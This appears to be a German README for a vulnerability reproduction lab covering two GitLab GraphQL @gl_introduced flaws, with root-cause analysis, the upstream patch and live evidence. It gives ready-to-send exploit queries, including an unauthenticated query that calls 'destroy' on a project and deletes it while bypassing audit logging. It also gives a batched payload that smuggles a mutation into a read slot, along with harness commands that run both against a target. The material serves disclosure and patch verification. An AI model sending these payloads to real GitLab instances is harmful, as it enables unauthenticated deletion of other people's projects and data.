
Bietet PoC-Exploits und Root-Cause-Analyse für zwei Schwachstellen in der GitLab-GraphQL-`@gl_introduced`-Direktive: unauthentifizierte Methodenausführung und Batched Document Swap, mit Upstream-Patch und Live-Nachweisen.
@gl_introducedEin Reproduktionslabor für zwei zusammenhängende Fehler in GitLabs GraphQL-Version-Filter-Funktion (der @gl_introduced-Direktive). Beide befinden sich im selben Funktionsbereich, werden durch denselben Upstream-Patch behoben, und beide ermöglichen es einer GraphQL-Anfrage, Codepfade zu erreichen, die sie nie deklariert hat:
destroy) auf dem Modell hinter einem beliebigen GraphQL-Typ aufrufen, indem sie einfach ein Feld benennt, das nicht existiert, und es mit @gl_introduced markiert.| Betroffen | 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| Behoben | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Laborziel | gitlab/gitlab-ce:19.2.2-ce.0 (letzter Build vor dem Fix) |
| Auslöser | GraphQL-Direktive @gl_introduced, allein oder innerhalb eines Batches |
docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
Alles unter src/ ist wörtlicher Upstream-Quellcode, nie neu implementiert — der Loader legt src/vuln oder src/patched über src/common.
Gitlab::Graphql::VersionFilter::FutureFieldFallback ermöglicht es einer Abfrage, ein Feld zu referenzieren, das in einem Typ noch nicht existiert, ohne dass die Anfrage fehlschlägt — gedacht für rollierende Deployments, bei denen das Schema eines alten Knotens ein Feld noch nicht hat, das ein neuerer Knoten bereits ausliefert. Sein get_field-Override prüft, ob das angeforderte Feld fehlt und die Anfrage mit contain_future_fields markiert ist, und liefert in diesem Fall ein synthetisches Feld zurück, anstatt eine Ausnahme auszulösen:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
Das Problem: Dieses GraphQL::Schema::Field wird ohne Resolver-Methode, ohne Resolver-Klasse und ohne Block erstellt. Dann greift die eigene Standard-Feldauflösung von graphql-ruby (graphql-Gem 2.6.3, lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym ist der Name des Feldes, unterstrichen — also genau die Zeichenkette, die der Angreifer in die Abfrage gesetzt hat. Wenn das Objekt hinter dem GraphQL-Typ (das ActiveRecord-Modell) zufällig eine echte öffentliche Methode ohne Argumente mit diesem Namen besitzt, ruft graphql-ruby sie auf und gibt ihr (typkonvertiertes) Ergebnis zurück. fallback_value: nil greift nur, wenn die Methode wirklich nicht existiert — es verhindert nicht, dass eine echte Methode ausgeführt wird.
Also: Fragt man einen beliebigen Typ nach einem Feld ab, das nach einer echten destruktiven Methode benannt ist — zum Beispiel destroy — und markiert es mit @gl_introduced, damit es bis zur Ausführung überlebt, wird die Methode ausgeführt.
IntroducedTracer implementiert den Rest der Version-Filter-Funktion über zwei graphql-ruby-Trace-Hooks — parse (einmal pro Operation) und execute_query (einmal pro Operation). Im verwundbaren Build verstaut es seinen Zustand pro Operation in einfachen Instanzvariablen auf dem Trace-Objekt:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
Das Problem: graphql-ruby teilt EINE Trace-Instanz über alle Operationen einer Multiplex-Anfrage und parst sie alle, bevor eine davon ausgeführt wird. In einem Batch mit zwei Operationen gilt also:
parse(op1) → @original_query_document = op1_doc, @contain_future_fields = falseparse(op2) → @original_query_document = op2_doc, @contain_future_fields = true
(op2 trägt ein @gl_introduced-Zukunftsfeld)Nach dem Parsen überlebt nur der Zustand der letzten Operation. Dann läuft die Ausführung:
execute_query(op1) → Flag ist true, also wird op1s Dokument mit op2_doc überschrieben und neu vorbereitet → op1s Slot führt op2s Operation aus.op1 hat eine Leseoperation deklariert; es führt den Schreibvorgang von op2 aus.
patch-19.2.2-to-19.2.4.diff behebt beides:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
Kein Authorization-Header. Eine Operation, kein Batch. destroy ist kein echtes Feld auf Project — es existiert im Schema überhaupt nicht — aber die Direktive veranlasst FutureFieldFilter, es vor der statischen Validierung zu entfernen, und aktiviert contain_future_fields für die Ausführung. Dort gibt get_field ein resolverloses Feld namens destroy zurück, und graphql-ruby ruft project.public_send(:destroy) auf.
Live verifiziert (evidence/live_vuln_fallback_field.txt, dreimal gegen drei separate Wegwerfprojekte reproduziert): Gegen ein öffentliches Projekt gesendet, war die Antwort {"data":{"project":{"id":"...","destroy":true}}}. Eine anschließende authentifizierte REST-Prüfung (GET /api/v4/projects/:id) gab 404 zurück — das Projekt war tatsächlich weg. Das Anfrageprotokoll für diesen Aufruf zeigt 9 synchrone Datenbankschreibvorgänge und null neue AuditEvent-Zeilen: Der Aufruf umgeht Projects::DestroyService vollständig (und damit den Prüfpfad, Webhooks und Benachrichtigungen) — es ist eine rohe ActiveRecord#destroy-Kaskade, die direkt über die Standard-Feldauflösung von GraphQL aufgerufen wird.
sequenceDiagram
participant A as Attacker
participant C as GraphqlController
participant T as IntroducedTracer (one shared instance)
participant S as StarProject mutation
A->>C: POST /api/graphql [ {query: op1}, {query: op2} ]
Note over A: op1 = query { currentUser { username } } (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
C->>T: parse(op1)
Note over T: @original = op1_doc, future=false
C->>T: parse(op2)
Note over T: @original = op2_doc, future=TRUE (overwrites op1 state)
C->>T: execute_query(op1)
T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
T->>S: run starProject ← smuggled into the read slot
S-->>A: slot 1 returns { starProject: { count } } #59; star state changed
Op2-Nutzlast — die @gl_introduced-Direktive muss nur auf einem echten Feld sitzen, damit FutureFieldFilter zum Parse-Zeitpunkt contain_future_fields umschaltet und den Tausch aktiviert:
mutation {
starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
count @gl_introduced(version: "99.0.0")
}
}
Live verifiziert (evidence/live_vuln.txt): Slot 1, der query { currentUser { username } } deklariert hatte, gibt {"data":{"starProject":{"count":"0"}}} zurück, und die Stern-Anzahl des Projekts wechselt von 1 → 0.
docker compose up -d # first boot runs migrations; wait for healthy (~10 min)
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
bash harness/live_test_fallback.sh
Das Skript erstellt über die authentifizierte REST-API ein Wegwerfprojekt (nur Einrichtung), sendet eine nicht authentifizierte GraphQL-Abfrage, die ein mit @gl_introduced markiertes destroy-Feld benennt, und prüft das Projekt anschließend erneut über authentifiziertes REST. Es meldet VULNERABLE, wenn das Projekt weg ist.
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
bash harness/live_test.sh
Das Skript liest den Ausgangszustand der Sterne, sendet den Batch mit zwei Operationen und meldet VULNERABLE, wenn der als Leseoperation deklarierte Slot 1 eine starProject-Nutzlast zurückgibt (und/oder sich die Stern-Anzahl ändert).
Isoliert Gitlab::Graphql::VersionFilter in einer winzigen graphql-ruby-App, sodass der Tausch ohne GitLab-Rauschen sichtbar ist. Lädt den echten Upstream-Quellcode.
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched # -> SAFE
Beide Vektoren wurden live gegen gitlab/gitlab-ce:19.2.2-ce.0 bestätigt. Sie haben unterschiedliche Autorisierungs-Exposition, da sie verschiedene Ebenen des GitLab-Stacks treffen.
Kein Token, kein Batching, eine Abfrage. Die Antwort gibt das Ergebnis der Methode direkt zurück ("destroy": true), und der zugrunde liegende Datensatz wird tatsächlich gelöscht — bestätigt über authentifiziertes REST (404) und über serverseitige Beweise (null AuditEvent-Zeilen, 9 synchrone Schreibvorgänge in einer Anfrage), was bedeutet, dass der normale Löschdienst von GitLab vollständig umgangen wird. Dreimal unabhängig gegen drei separate Wegwerfprojekte reproduziert. Jeder GraphQL-Typ, dessen zugrunde liegendes Objekt eine echte destruktive Methode ohne Argumente bereitstellt, ist ein Kandidat.
Mit einem beliebigen Token mit api-Bereich führt eine Operation, die eine Leseoperation deklariert hat, einen Schreibvorgang aus, den sie nie angefordert hat (Stern-Anzahl 1 → 0, angetrieben durch einen query-typisierten Slot). Ohne Token ausgelöst, greift der Tausch weiterhin — der Lese-Slot erreicht und löst starProject tatsächlich auf — aber jede GitLab-Mutation erbt von Mutations::BaseMutation, dessen self.authorized?-Gate zur Ausführungszeit läuft:
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)
Bei einer anonymen Anfrage ist current_user gleich nil, und GlobalPolicy führt rule { anonymous }.policy { prevent :execute_graphql_mutation } aus. Ein Durchlauf mit 10 Batch-Anordnungen (Reihenfolge, Direktive auf Feld / Unterfeld / Inline-Fragment, Batches mit 2 und 3 Operationen) ohne Authentifizierung: Der gekaperte Slot läuft jedes Mal in das Gate, und die Stern-Anzahl bewegt sich nie.
Dieses Gate ist spezifisch für Mutationen — es hat keine Auswirkung auf 1a, das Mutations::BaseMutation überhaupt nicht berührt; das Fallback-Feld wird direkt gegen das Modell als einfaches Feld vom Typ query aufgelöst, ohne jegliche Autorisierungsprüfung im Pfad.
src/common/demo_app.rb hat überhaupt keine Autorisierungsschicht — seine Mutation schreibt einfach. PoC #3 demonstriert also den Tausch-Mechanismus (ein Lese-Slot führt einen Schreibvorgang aus) in einer Sandbox ohne Authentifizierung. Echtes GitLab erzwingt das execute_graphql_mutation-Gate, das die Demo weglässt — speziell für 1b. Bei diesem Standard-Build ist ein durch eine Mutation ausgelöster Schreibvorgang ohne Anmeldedaten nicht allein über 1b erreichbar; er ist über 1a erreichbar, das überhaupt keine Mutation benötigt.
Aktualisieren Sie auf 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 oder neuer. Der Fix (siehe Diff) bewirkt zwei Dinge: future_field_fallback.rb gibt dem Fallback-Feld einen expliziten Resolver (Resolvers::NilResolver, der immer nil zurückgibt), anstatt sich auf den Standard-Methodendispatch von graphql-ruby zu verlassen, was 1a behebt; introduced_tracer.rb begrenzt den Zustand des Tracers pro Operation auf das eigene Dokument der jeweiligen Operation anstelle einer gemeinsamen Instanzvariable, was 1b behebt.